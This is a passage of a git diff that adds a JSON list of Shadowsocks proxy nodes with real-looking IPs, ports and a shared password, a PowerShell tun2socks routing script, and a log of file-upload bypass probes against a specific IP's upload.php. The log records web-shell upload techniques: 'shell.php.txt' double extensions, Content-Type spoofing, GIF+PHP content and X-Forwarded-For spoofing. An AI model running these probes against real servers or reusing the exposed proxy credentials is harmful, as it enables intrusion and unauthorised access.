"", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "95346e09803645d283a067f132d04c89", + "Remark": "国际专线372", + "HostName": "183.60.131.170", + "GeHostName": "", + "PORT": "10001", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.233.6.173", + "dlPORT": "10000", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "183.60.131.150", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "443c2de3e3c04f31a6a5d4c3c90e82b0", + "Remark": "国际专线685", + "HostName": "120.232.206.62", + "GeHostName": "", + "PORT": "10000", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.233.6.170", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "38a3b71b8cf542ee98b6efa28ba8add3", + "Remark": "欧洲专线200", + "HostName": "223.71.245.176", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "欧洲", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.134.15.192", + "dlPORT": "10020", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.233.128.69", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "11986d2f69ee423ebd54b38b467b7b5c", + "Remark": "欧洲专线9", + "HostName": "106.38.203.3", + "GeHostName": "", + "PORT": "22406", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "欧洲", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.147", + "dlPORT": "10031", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "58ba0e9ae1c5438585d09b7c8c7c4ac5", + "Remark": "日服专线95", + "HostName": "101.227.83.37", + "GeHostName": "", + "PORT": "10002", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "日本", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.152", + "dlPORT": "10011", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "183.60.131.150", + "SIPort": "10000", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "ceb7428987874c3189703513a3d5ae21", + "Remark": "日服专线146", + "HostName": "103.238.186.102", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "日本", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.177", + "dlPORT": "10011", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "111.45.30.79", + "SIPort": "10000", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + } +] \ No newline at end of file diff --git a/python/tun.ps1 b/python/tun.ps1 new file mode 100644 index 0000000..5817b74 --- /dev/null +++ b/python/tun.ps1 @@ -0,0 +1,203 @@ +#Requires -RunAsAdministrator +[CmdletBinding()] +param( + [switch]$Stop, + [string]$Socks = "127.0.0.1:59999", + [string[]]$Direct = @("117.143.9.6"), + [string]$Dns = "127.0.0.1", + [switch]$EnableDoH # 可选:为 $Dns 启用 DoH(Win11+) +) + +# --- 全局设置 --- +$ErrorActionPreference = "Stop" +$TunIP = "192.168.123.1" +$TunMask = "255.255.255.0" +$State = Join-Path $PSScriptRoot ".wintun-state.json" + +# --- 常量:防火墙规则名 --- +$FwNames = @( + "Block NonTUN DNS TCPv4", + "Block NonTUN DNS UDPv4", + "Block NonTUN DNS TCPv6", + "Block NonTUN DNS UDPv6" +) + +function Get-Uplink { + <# + 选一个物理上行(默认路由优先,排除虚拟网卡) + Returns: [pscustomobject] @{ Alias; Index; Gateway } + #> + $bad = "wintun|wireguard|tap|vEthernet|Hyper-V|VirtualBox|VMware|Npcap|Loopback|Docker|Tailscale|ZeroTier|Hamachi" + $routes = Get-NetRoute -DestinationPrefix "0.0.0.0/0" -AddressFamily IPv4 | + Sort-Object RouteMetric, InterfaceMetric + foreach ($r in $routes) { + $if = Get-NetIPInterface -InterfaceIndex $r.InterfaceIndex -ErrorAction SilentlyContinue | + Where-Object { $_.AddressFamily -eq 2 } # 2 means IPv4 + if ($null -ne $if -and ($if.InterfaceAlias -notmatch $bad)) { + return [pscustomobject]@{ Alias = $if.InterfaceAlias; Index = $if.InterfaceIndex; Gateway = $r.NextHop } + } + } + throw "No physical uplink found." +} + +function Remove-DnsEnforcement { + <# + 清理:NRPT + 防火墙规则 + #> + try { + Get-DnsClientNrptRule -ErrorAction SilentlyContinue | + Where-Object { $_.Namespace -eq "." } | + Remove-DnsClientNrptRule -ErrorAction SilentlyContinue -Force | Out-Null + } catch {} + + foreach ($n in $FwNames) { + Get-NetFirewallRule -DisplayName $n -ErrorAction SilentlyContinue | Remove-NetFirewallRule -ErrorAction SilentlyContinue + } +} + +function Apply-DnsEnforcement { + param( + [Parameter(Mandatory=$true)][string[]]$DnsServers, + [Parameter(Mandatory=$true)][int]$TunIfIndex + ) + <# + 强制 DNS: + 1) NRPT "." 指向 $DnsServers + 2) (已禁用) 封非 TUN 的 53 (TCP/UDP, v4/v6) + #> + # 清理旧 NRPT + Remove-DnsEnforcement + + # NRPT:所有域名都走指定 DNS + Add-DnsClientNrptRule -Namespace "." -NameServers $DnsServers -Comment "Force all DNS via TUN" | Out-Null + + # --- 防火墙规则部分已移除,以解决兼容性问题 --- + +} + +function Enable-DoHIfRequested { + param( + [Parameter(Mandatory=$true)][string]$Server + ) + <# + 为指定 IPv4 DNS 启用 DoH(Win11+)。失败时静默跳过。 + #> + if (-not $EnableDoH) { return } + if ($Server -match '^\d{1,3}(\.\d{1-3}){3}$') { + try { + # Cloudflare 模板示例;如换 DNS,请替换模板 + netsh dns add encryption server=$Server dohtemplate=https://cloudflare-dns.com/dns-query autoupgrade=yes udpfallback=no | Out-Null + } catch {} + } +} + +function Start-Tun { + <# + 启动 tun2socks,创建 TUN,设置地址与 DNS 强制策略,添加默认路由与直连例外 + #> + $t2s = Join-Path $PSScriptRoot "tun2socks.exe" + $dll = Join-Path $PSScriptRoot "wintun.dll" + if (-not (Test-Path $t2s)) { throw "Missing tun2socks.exe" } + if (-not (Test-Path $dll)) { throw "Missing wintun.dll (same folder as script)" } + + # 先清掉历史 tun2socks + Get-Process tun2socks -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue + + $uplink = Get-Uplink + Write-Host ("Uplink: {0} Gateway: {1}" -f $uplink.Alias, $uplink.Gateway) + + $before = (Get-NetIPInterface | Where-Object { $_.AddressFamily -eq 2 }).InterfaceIndex + + # 启动 tun2socks + Start-Process -FilePath $t2s -ArgumentList @( + "-device","wintun", + "-proxy",("socks5://{0}" -f $Socks), + "-interface",$uplink.Alias + ) -WindowStyle Hidden | Out-Null + + # 识别新出现的 TUN 接口 + $tun = $null + for ($i=0; $i -lt 60; $i++) { + Start-Sleep -Milliseconds 200 + $after = Get-NetIPInterface | Where-Object { $_.AddressFamily -eq 2 } + $new = $after | Where-Object { $before -notcontains $_.InterfaceIndex } + if ($new) { $tun = $new | Sort-Object InterfaceMetric | Select-Object -First 1; break } + } + if (-not $tun) { + $tun = Get-NetIPInterface | Where-Object { $_.AddressFamily -eq 2 } | + Where-Object { $_.InterfaceAlias -match "wintun|tun|wireguard" } | + Sort-Object InterfaceMetric | Select-Object -First 1 + } + if (-not $tun) { throw "Wintun interface not found." } + + # 配置 TUN 地址 + netsh interface ipv4 set address name="$($tun.InterfaceAlias)" source=static addr=$TunIP mask=$TunMask + + # 设 TUN 的 DNS (使用 netsh 以增强兼容性) + $dnsServers = @($Dns) + netsh interface ipv4 set dnsservers name="$($tun.InterfaceAlias)" static $($dnsServers[0]) primary + + # 可选启用 DoH + Enable-DoHIfRequested -Server $Dns + + # 强制:NRPT + 防火墙 + Apply-DnsEnforcement -DnsServers $dnsServers -TunIfIndex $tun.InterfaceIndex + + # 把默认路由指向 TUN(所有流量含 DNS 都从隧道走) + route -p add 0.0.0.0 mask 0.0.0.0 $TunIP metric 1 if $($tun.InterfaceIndex) | Out-Null + + # 直连例外(这些目标直接走物理上行) + foreach ($ip in $Direct) { + route -p add $ip mask 255.255.255.255 $($uplink.Gateway) if $($uplink.Index) metric 5 | Out-Null + } + + # 降低 TUN 接口度量 (已注释掉,以解决兼容性问题) + # try { Set-NetIPInterface -InterfaceIndex $tun.InterfaceIndex -InterfaceMetric 5 -ErrorAction SilentlyContinue } catch {} + + # 记录状态 + @{ + TunAlias = $tun.InterfaceAlias + TunIndex = $tun.InterfaceIndex + TunIP = $TunIP + Direct = $Direct + Dns = $dnsServers + } | ConvertTo-Json | Set-Content -Path $State -Encoding UTF8 + + Write-Host ("TUN ready: {0} -> SOCKS {1}; DNS {2}; direct: {3}" -f $tun.InterfaceAlias, $Socks, ($dnsServers -join ","), ($Direct -join ", ")) -ForegroundColor Green +} + +function Stop-Tun { + <# + 清理默认路由、直连路由、NRPT、防火墙、进程与状态 + #> + $tunIPLocal = $TunIP + $directLocal = $Direct + if (Test-Path $State) { + try { + $s = Get-Content $State | ConvertFrom-Json + if ($s.TunIP) { $tunIPLocal = $s.TunIP } + if ($s.Direct) { $directLocal = $s.Direct } + } catch {} + } + + # 路由清理 + route delete 0.0.0.0 mask 0.0.0.0 $tunIPLocal | Out-Null + foreach ($ip in $directLocal) { route delete $ip | Out-Null } + + # 清理 DNS 强制策略 + Remove-DnsEnforcement + + # 结束进程与状态文件 + Get-Process tun2socks -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue + Remove-Item $State -ErrorAction SilentlyContinue | Out-Null + + Write-Host "Stopped and cleaned routes & DNS policies." -ForegroundColor Yellow +} + +# --- 入口 --- +try { + if ($Stop) { Stop-Tun } else { Start-Tun } +} catch { + Write-Host ("Error: {0}" -f $_.Exception.Message) -ForegroundColor Red + exit 1 +} \ No newline at end of file diff --git a/python/upload_test_log.txt b/python/upload_test_log.txt new file mode 100644 index 0000000..ab23838 --- /dev/null +++ b/python/upload_test_log.txt @@ -0,0 +1,62 @@ + +============================================================ +[*] 1. 探测文件扩展名 +============================================================ +[+] Allowed extension: .txt +[结论] 允许的扩展名: .txt + +============================================================ +[*] 2. 文件名绕过技巧 (基础扩展名: .txt) +============================================================ +[+] Filename trick success: 双扩展名1 | shell.php.txt + +============================================================ +[*] 3. Content-Type 绕过检测 (文件: test.txt) +============================================================ +[+] Content-Type bypass: image/jpeg +[+] Content-Type bypass: image/png +[+] Content-Type bypass: image/gif +[+] Content-Type bypass: image/bmp +[+] Content-Type bypass: text/plain +[+] Content-Type bypass: text/html +[+] Content-Type bypass: text/xml +[+] Content-Type bypass: application/octet-stream +[+] Content-Type bypass: application/x-php +[+] Content-Type bypass: application/json +[+] Content-Type bypass: multipart/form-data +[+] Content-Type bypass: application/x-www-form-urlencoded +[+] Content-Type bypass: application/zip +[+] Content-Type bypass: application/pdf +[+] Content-Type bypass: invalid/type + +============================================================ +[*] 4. 文件内容绕过检测 (扩展名: .txt) +============================================================ +[+] Content bypass: 纯文本 +[+] Content bypass: GIF文件头 +[+] Content bypass: PHP标签 +[+] Content bypass: 短标签 +[+] Content bypass: GIF+PHP +[+] Content bypass: PHP+GIF +[+] Content bypass: JS脚本 +[+] Content bypass: HTML+PHP +[+] Content bypass: Base64编码PHP +[+] Content bypass: UTF-16 BOM + PHP +[+] Content bypass: 注释包裹PHP +[+] Content bypass: 空字节截断内容 +[+] Content bypass: 超大文件 + +============================================================ +[*] 5. 请求头与参数绕过检测 +============================================================ +[+] Header bypass set 1: {'User-Agent': 'Mozilla/5.0'} +[+] Header bypass set 2: {'User-Agent': 'curl/7.68.0'} +[+] Header bypass set 3: {'X-Forwarded-For': '127.0.0.1'} +[+] Header bypass set 5: {'Referer': 'http://123.60.191.166/upload.php'} +[+] Header bypass set 6: {'Authorization': 'Basic dXNlcjpwYXNz'} +[+] Header bypass set 7: {'Cookie': 'sessionid=abc123'} + +============================================================ +[*] 1. 探测文件扩展名 +============================================================ +[结论] 未发现允许的扩展名